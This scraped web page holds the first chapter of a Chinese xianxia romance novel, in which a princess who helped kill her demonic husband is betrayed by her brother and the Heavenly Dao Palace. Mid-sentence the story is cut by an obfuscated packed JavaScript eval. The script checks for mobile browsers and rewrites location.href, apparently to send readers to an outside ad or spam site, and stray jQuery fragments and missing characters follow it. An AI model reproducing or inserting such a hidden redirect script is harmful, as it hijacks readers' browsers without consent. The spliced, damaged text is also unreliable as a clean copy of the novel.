默认冷灰
24号文字
方正启体

1. 第 1 章

作者:日日复日日本书字数:K更新时间:
    妆台上的蜡烛烧了一整夜,融化的烛泪沿烛台缓缓流淌,在台面上凝固成一滩暗沉的蜡渍,空气中弥漫着一丝焦糊气味,无人剪烛芯,烛火的光芒已越来越微弱了。


    好在窗外的天色渐明,晨光驱散薄雾,从窗棂外透进来,弥补了昏暗的烛光。


    烛火光晕中坐着一个窈窕的女子身影,着一身繁重的大袖宫装,发髻松脱了一半,垂在肩侧。


    妆台银镜里映照出她苍□□致的面容,细长的眉紧蹙,乌黑的瞳中,两点烛火摇曳,透出一种极度不安的焦虑之色,就连厚重的珍珠粉都遮不住她眼下的两片青痕。


    蜡烛烧了多久,慕昭然便在这妆台前坐了多久。


    她在等一个消息,一个关乎她往后自由甚至生死的消息。


    随着天色越亮,慕昭然心中的焦虑也越盛,她无意识地抬手抚摸自己披散在肩上的头发,指尖捻过耳畔一缕整齐截断的发丝时,动作顿了一顿,眼神越发复杂难明,抚摸良久后才对着银镜将这一缕剪过的发藏进耳后的发丝里。


    “嘭!”


    一声巨响,寝殿大门被人从外撞开,疾风灌入殿内,将满室苟延残喘的烛火彻底吹灭。


    外面天光刺目,一个紫衣人逆光而入,快步奔来,急促的声线随风一起送入她耳中,“殿下,天道宫修士闯进来了!”


    在大敞的殿门外,果真能见到数道流光朝向此处飞快射来,在逼近这座宫殿之外时,宫墙下忽然窜起几道幽影,与那逼近的流光相斗到一起。


    法术的光芒闪动,将进犯者拦了一拦。


    只这么片刻工夫,紫衣人影已到了她的身前,从窗外透进的晨光中,慕昭然第一次看清楚这位如影子一样潜伏在她身旁的人,究竟长得什么模样。


    ——是一个身形娇小,面庞圆润,长相甚至称得上甜美的年轻女子。


    这般样貌无辜的女子,却是蛊王麾下恶名昭著的十二青蠖之一,说出去怕是都无人会相信。


    慕昭然起身向她迎过去,唇畔漾起浅浅笑意,“螟蛉,你终于肯现身了。”


    情势紧急,螟蛉来不及思索她此话的含义,伸手一把攥住慕昭然的手腕,说道:“国师尚未回宫,王宫中留守的伏影卫挡不住他们,殿下随我从密道里离开,我送你去国师……”


    她急声说到一半,话音戛然而止,低头看向自己胸口。


    慕昭然那宽大的袖摆微微拂动,袖口探出的手柔软而白皙,纤细的五指间掌着一枚黄符,正按在她的胸口之上。


    符箓触及她身躯的刹那,纸上朱砂铭文大亮,赤红的锁链如狂舞的毒蛇迸射而出,迅速将她缠缚其中,动弹不得。


    符光刺入螟蛉眼中,激得她瞳孔骤缩,愕然抬眸。


    慕昭然挣脱开她抓握在自己手腕的力道,直视她惊愕的双眼,语气冷冽道:“我不去。”


    话音未落,殿外剑鸣乍起,一道利光破空而至,直直穿透殿门,猛然刺入螟蛉的心口。


    这一剑来得太快,快得让人来不及反应,剑尖上飞溅的鲜血洒到脸上,在空气被剑鸣撕裂的阵阵余音中,慕昭然怔怔地低头望向螟蛉心口,踉跄地退后两步,跌坐在软榻上,胸膛剧烈起伏。


    螟蛉心口正中一剑,浑身经脉都被剑气绞碎,仍是死死盯着她,嘴角鲜血成线淌下,喘息道:“去、去找国师,你只能去他身边……只有他……会护住你……”


    去他身边,只能去他身边。


    慕昭然实在听她说过太多次这样的话了,螟蛉就是阎罗安插在她身旁的影子,隐匿在暗处,时时刻刻地监视她,提醒她,她是如何不得自由。


    慕昭然蜷紧手指,指甲掐进了掌心的软肉里,压下心中惊惧,勾唇扯出一抹轻蔑的笑意,抬袖拭去脸上的血,从软榻上站起身,昂起下巴道:“谁说我只能去他身边?”


    像是为了应和她的话,杂乱的脚步声相继踏入殿内,有人从螟蛉身后一把拔出了那柄不断滴血的长剑。


    剑气撕破螟蛉身上的禁锢符,她才软软地滑倒至地上,在看到跟随南荣王一同进来的天道宫修士时,终于恍然大悟,艰难地抬眸看向慕昭然,愤恨道:“你竟然背、背叛国师……”


    慕昭然还没说什么,已先有人替她发出荒谬的嗤笑。


    “背叛?”慕隐逸抖落剑上的血,将灵剑还给身旁的修士,那素来温吞的眉眼撕开一道裂缝,露出了掩藏在底下经年积累的屈辱与怨恨,厉声道,“一个摆弄蛊虫的邪修算是什么东西,也配说‘背叛’二字!我南荣在尔等邪魔外道的践踏下忍辱负重十年,如今终于重得天道认可,回归正统。”


    “本王才是这南荣的国君,是该享有众人忠诚的唯一君主,本王的阿姐自然该是向着我的,向着我南荣子民的。”他转向慕昭然,眸中闪动着兴奋的火光,柔声问道,“阿姐,你说是也不是?”


    慕昭然撇开眼,避开了螟蛉那一双逐渐失去生机而灰败下去的眼睛,抿了抿唇,没有回答他的问题,反问道:“他死了么?”


    她没有问阎罗和云霄飏的一战谁输谁赢,天道宫的修士能这么大张旗鼓地闯进南荣王宫里来,便已经彰显了胜负结果。


    她只在意,那个人究竟死了没有。


    慕隐逸浑不在意地上死去的虫子,绕过蔓延到脚边的血迹。


    走到慕昭然面前时,他眼底外露的狠戾已完全收敛,又换回了平日里那副熟悉的、在她面前惯常撒娇时的亲昵模样。


    伸手勾起慕昭然肩上的一缕青丝,一边轻抚,一边回道:“有阿姐相助,他哪还有生路?只可惜,他一身蛊毒邪功,到底修为深厚,就算被霄飏剑尊一剑诛灭了体内本命王蛊,依然还有一息尚存,没有彻底死透。”


    慕昭然等了一夜,终于等来了她想要的答案。


    悬在心中的大石落地,激起千重浪,可那浪花之中翻涌的情绪却也没有多少喜悦,反而五味杂陈,堵在心头,竟分不清是何滋味。


    慕隐逸低下头,眼珠转动,仔仔细细地打量她的神情,试探道:“阿姐难道是在为他难过?”


    “当然不是。”慕昭然立即摇头,辩解道,“我只是担心,他要是不死,若有翻身机会,必定会百倍千倍地报复回来。”


    “是啊,他若是不死,那弟弟我便是必死无疑,不过我想他应当舍不得阿姐死。”慕隐逸打量着她,他的阿姐真的很美,蛾眉曼睩,惊惑人心,美得连那个只知玩弄蛊虫的魔头都为她着迷。


    可自古红颜多祸水,他的阿姐也没能免除其外。


    握着发丝的手指忽然收紧,扯得慕昭然头皮生疼,她吃痛地嗔怪道:“阿隐,你弄疼我了。”


    慕隐逸却依然没有松手,扯着她的头发靠过去,像是笑了笑,语气却透着冷意,“被天道宫种下噬灵引之人,金丹被毁,灵力抽空,生机会持续流散,不出三年就会衰竭而死,阿姐不知道你为何能成为这唯一的一个例外么?”


    慕昭然用力拍打他的手背,有些气恼了,“是阎罗,他收罗了很多稀罕灵药为我补身,怎么?到了现在,你才想提醒我,我有多忘恩负义?”


    慕隐逸摇头道:“天道宫的惩戒又岂是这么容易就能补回来的?阿姐能活到现在,是因为阎罗在你体内种了一只连心蛊,他一直在用自己喂补你体内的虫子,用他的命来延续你的命。”


    慕昭然先是因自己体内有虫,而头皮发麻,慌张地想要挽袖检查经脉,在听完他后半句话时,才动作一顿,睁大眼睛断然反驳道:“不可能!他不会的……”


    阎罗那种人,怎么可能为了她不惜耗损自己?


    慕昭然嘴上说着不可能,可心中还是有了些许动摇,因为每次阎罗来与她亲近之后,她的身体的确会好上许多,她一直以为那是因他带来的灵药。


    她以为每月一次的双修,也是她想要从他手里获取灵药,所必须付出的代价。


    慕隐逸瞧着她的神情,忽然有点同情那个魔头了,他的阿姐就是这样,从小到大都一直很擅长理所当然地享受别人对她的付出。


    “他把你体内的虫子喂养得太好了,现在倒反过去吊住了他的最后一口气。”慕隐逸叹息道,“阿姐,你与阎罗成婚十年,定了姻缘契,许了生死诺,他是万蛊之王,你便是他的蛊后,你们二人的命运已很难再拆分开了。”


    慕昭然听出他话中隐约的不祥之意,慢慢抬起眼帘,声线里带着细微的颤抖,“你想说什么?”


    慕隐逸松开她的头发,挺直腰背,他直起腰后,身量便比她高出了大半个头,逆着殿外透进的光,身影极具压迫性地笼罩在她身上,隐没在暗影里的眉眼越发冷峻,令人心悸。


    直到此时,慕昭然才后知后觉地意识到,眼前之人早已不再是从前那个满眼崇拜地追随在她身后的小少年了,他已经长大,长成了一个男人。


    一个现在看上去,竟让她感觉无比陌生的男人。


    慕隐逸垂眸看着她,卸下伪装出来的亲昵后,面上便只剩下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164977|165084||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    大义灭亲的凛然与残忍,一字一顿道:“阿姐当年以南荣圣女的身份进入天道宫修习,却因品行不端,道德败坏,残害同门的罪名,被天道宫列入‘失道者’名录,后来又与毒蛊阎罗勾结在一起,做了许多伤天害理之事,阿姐身上罪业累累,即便此次在剿灭毒蛊阎罗时,出了几分力,也无法相抵。”


    “阿姐,天道宫的仙士和南荣的民众都要求我把你交出去,和毒蛊阎罗一起处死,众怒难违,弟弟实在保不住你。”


    慕昭然脑海里嗡嗡作响,神情恍惚地转眸看向跟随在他身侧的天道宫修士。


    他们穿着一身圣洁的冰蓝色法衣,发冠上系着蓝色发带,眉目冷肃,嫉恶如仇,看她的眼神的确是在看邪魔外道。


    天道宫至高无上,地位超然,是世间仙门之首,更是世上唯一掌管“天谕”的存在。


    不论是邦国门派,还是世家望族,只有获得天道宫承认,受领“承天鉴”,在世人眼中才算是正统,除此之外,皆算是歪门邪道。


    南荣建国八百年,自然也曾受领承天鉴,是受天地四方承认的政权。


    在南荣国,国君掌政,圣女供奉承天鉴,沟通神鬼之事,承接由天道宫发放的天谕,以辅助国君,安定民生。


    慕昭然生于南荣王室,从小便在圣堂里长大,被当做南荣的下一任圣女培养,在她及笄之后,被送入天道宫中修习,希求她能为南荣求得一枚新的,可再保南荣未来百年国运昌隆的承天鉴。


    可正如慕隐逸先前所言,慕昭然当年进入天道宫后,却将肩负的重任抛诸脑后,为了一点儿女私情,争风吃醋,德行败坏,最终走入歧途,并不得天道宫认可。


    她不仅没能求得承天鉴,还被天道宫列入了罪大恶极的失道者名录,受天下人唾弃,南荣也因此受到牵连,险些覆灭。


    慕昭然被废掉修为,驱逐出天道宫,身边众叛亲离,又面临着国破家亡之危,实在走投无路,只能委身于那一身毒蛊、丑陋无比的蛊王阎罗,求他挽救自己即将倾覆的家国。


    蛊王阎罗以血腥手段平息了南荣国内的叛乱,打退外敌,应她所求,扶持了她的弟弟继任国君,自己则任了南荣国师之位。


    可那蛊王阎罗是与天道宫敌对之人,身边跟随者,皆是失道的邪修妖魔,在他任南荣国师的十年间,南荣彻底沦为邪魔聚集之地,早已成了世人眼中的魔巢。


    慕昭然就在这魔巢的最中心处,日日与那阎罗相对,言不由衷,曲意逢迎,就像是一只被蛛网缠裹的飞蛾。


    所以,当云霄飏再次出现在她面前时,她难以抑制地对他旧情复燃。


    所以,当弟弟哀求她时,她几乎想也没想地选择了与他们一同联手,诛杀阎罗,摧毁这一张罩在南荣国上,更是束缚在她身上令她不得喘息的污秽蛛网。


    可她没想到,他们竟想将她连同蛛网一起毁灭。


    “不,不是这样的……”慕昭然难以置信地摇头,目光从冰冷的天道宫修士脸上扫过,最后落回眼前这个和自己血脉相连的唯一亲人脸上,双眼通红地质问道,“慕隐逸你知道你在说什么吗?我是你的亲姐姐!是我救了你,是我牺牲自己为你求来的王位!如果没有我,你早就死了!”


    慕隐逸失笑出声,“从我出生起,我便是南荣的储君,是名正言顺的王位继承人,如果没有你,南荣也不会背负污名,不会失去天道庇佑,更不会陷入国破家亡只能向邪魔求援的境地!”


    字字诛心。


    慕昭然脸色煞白,嘴唇止不住地颤抖,想要反驳,却又无力反驳。


    好半晌后,她忽然轻轻笑了一声,猛地一把推开慕隐逸,努力支撑着自己摇摇欲坠的傲骨,昂首道:“云霄飏呢?他是天道宫的剑尊,他答应过我会为我洗清污名,迎娶我回宫,你们谁敢动我?!”


    慕隐逸看着她不知悔改的模样,心底残留的最后一丝不忍也消耗殆尽,阿姐已经不是他记忆中的阿姐了,现在的她早已变得面目可憎,根本不值得怜悯。


    到了此刻,她都还沉溺在云霄飏为她编织的那些不切实际的承诺和幻想中,那么可憎,又那么可悲。


    慕隐逸叹息一声,开口戳破了她最后的美梦,“阿姐,你还是这么天真又执迷不悟,一碰上云霄飏,就完全失去了脑子,他叫你做什么你就做什么。你不会当真以为,只要他心爱之人不在了,他就会放下过往,移情于你?”


    “云霄飏啊,应该是这个世界上最恨你的人了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)